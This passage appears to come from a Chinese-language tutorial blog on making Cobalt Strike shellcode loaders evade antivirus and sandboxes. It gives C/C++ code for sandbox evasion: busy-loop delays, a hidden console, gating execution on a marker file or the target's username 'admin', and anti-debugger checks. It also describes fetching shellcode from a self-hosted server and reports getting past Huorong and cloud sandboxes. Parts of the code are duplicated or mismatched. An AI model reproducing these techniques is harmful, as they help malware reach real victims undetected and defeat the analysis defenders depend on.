for (long long j = 0; j < loopTimes; j++) {
printf("+\n");
}
}
return;
}
在等待沙箱分析时顺便把火绒过了,真是幽默了。不过,本节我们侧重反调试和反沙箱技术,所以不再测试其他杀毒产品
但是对于2中的代码我们仅仅修改了自定义的Sleep函数处,猜测杀软对sleep函数存在严格检验
可以看到使用for循环绕过效果十分的好,不仅连cs特征没有扫描到,危险网络通信也没有
未出现危险网络通信
同时,为了模拟真实入侵环境,我们关闭控制台输出显示
//在项目上端复制,可以不显示控制台输出
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
3、使用反调试技术进行验证
此处提供三个检测调试时的代码,可以联合使用也可以分开使用,大家还可以自己收集其他的
若返回值为1则表明检测到调试,若为0则未调试
(1)、自定义函数
定义BOOL类型ret,使用CheckRemoteDebuggerPresent检测,返回值存入ret
#include <iostream>
#include <windows.h>
BOOL checkDebug() {
BOOL ret;
//传入ret地址 &取地址符号
CheckRemoteDebuggerPresent(GetCurrentProcess(), &ret);
return ret;
}
int main(){
if(IsDebuggerPresent()){
printf("find debugger");
}else{
printf("not find debugger");
}
return 0;
}
(2)、windows API自带函数
#include <iostream>
#include <windows.h>
int main(){
if(IsDebuggerPresent()){
printf("find debugger");
}else{
printf("not find debugger");
}
return 0;
}
(3)、执行语句
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <fstream>
#include <iostream>
#include <windows.h>
int main() {
//判断是否再调试
typedef NTSTATUS(WINAPI* PNtQueryInformationProcess)(IN HANDLE, IN PROCESSINFOCLASS, OUT PVOID, IN ULONG, OUT PULONG);
PNtQueryInformationProcess pNtQueryInformationProcess = (PNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");
DWORD64 isDebuggerPresent2 = 0;
pNtQueryInformationProcess(GetCurrentProcess(), ProcessDebugPort, &isDebuggerPresent2, sizeof DWORD64, NULL);
if (isDebuggerPresent2) {
MessageBox(nullptr, L"find debugger", L"Find Debugger", MB_OK);
}
else {
MessageBox(nullptr, L"not find detect debugger", L"No Debugger", MB_OK);
}
return 0;
}
由于生成debug模式时默认在调试,所以我们生成生成release模式运行
由于属于未调试模式,所以消息框显示not debugger
将其放入ollydbg,显示正在调试。若后续需要进行防止调试,可以直接终止程序
同时将其直接放入云沙箱,发现报毒并且检测cs的yara规则,正常,因为我们只是对shellcode进行编码和并且做反调试测试。
同样我们后续可以对cs进行魔改绕过yara规则检测,同时配上检测防云沙箱技术,让其无法运行到shellcode执行代码处
4、使用特征文件1.txt存在法上线 同时加入反沙箱、反调试、shellcode编码技术
bool isFileExist(const std::string& file_path)
{
//创建一个输入文件流对象file,并尝试以给定的文件路径打开文件
//c_str c语言风格的字符串
std::ifstream file(file_path.c_str());
//通过检查输入文件流对象的状态来判断文件是否存在
return file.good();
}
生成后在本机运行,目录中存在1.txt文件,能够成功上线
去掉1.txt文件试试,提示某文件不存在
顺便又过了幽默火绒
查看沙箱分析内容,发现此方法确实好用直接就过了
5、使用特定ip、主机名和其他相关特征上线
此时我们验证已知攻击目标的主机名admin
BOOL getSandboxUsername() {
char userName[200];
size_t i;
DWORD userSize = sizeof(userName);
GetUserNameA(userName, &userSize);
for (i = 0; i < strlen(userName); i++) {
userName[i] = toupper(userName[i]);
}
//此处admin可以修改
if (strstr(userName, "admin") != NULL) {
return TRUE;
}
return FALSE;
}
在本机符合admin运行成功
若不符合
微步查看,无毒,检测是否存在某特定文件或者名字确实好用
6、使用编码、分离并且检测虚拟环境和反调试代码相
本机开启apache提供1.txt存储shellcode
相关分离技术可以查看免杀第二天内容
到此结束,不得不感叹自己的拖沓程度!
再次感叹自己的拖沓!!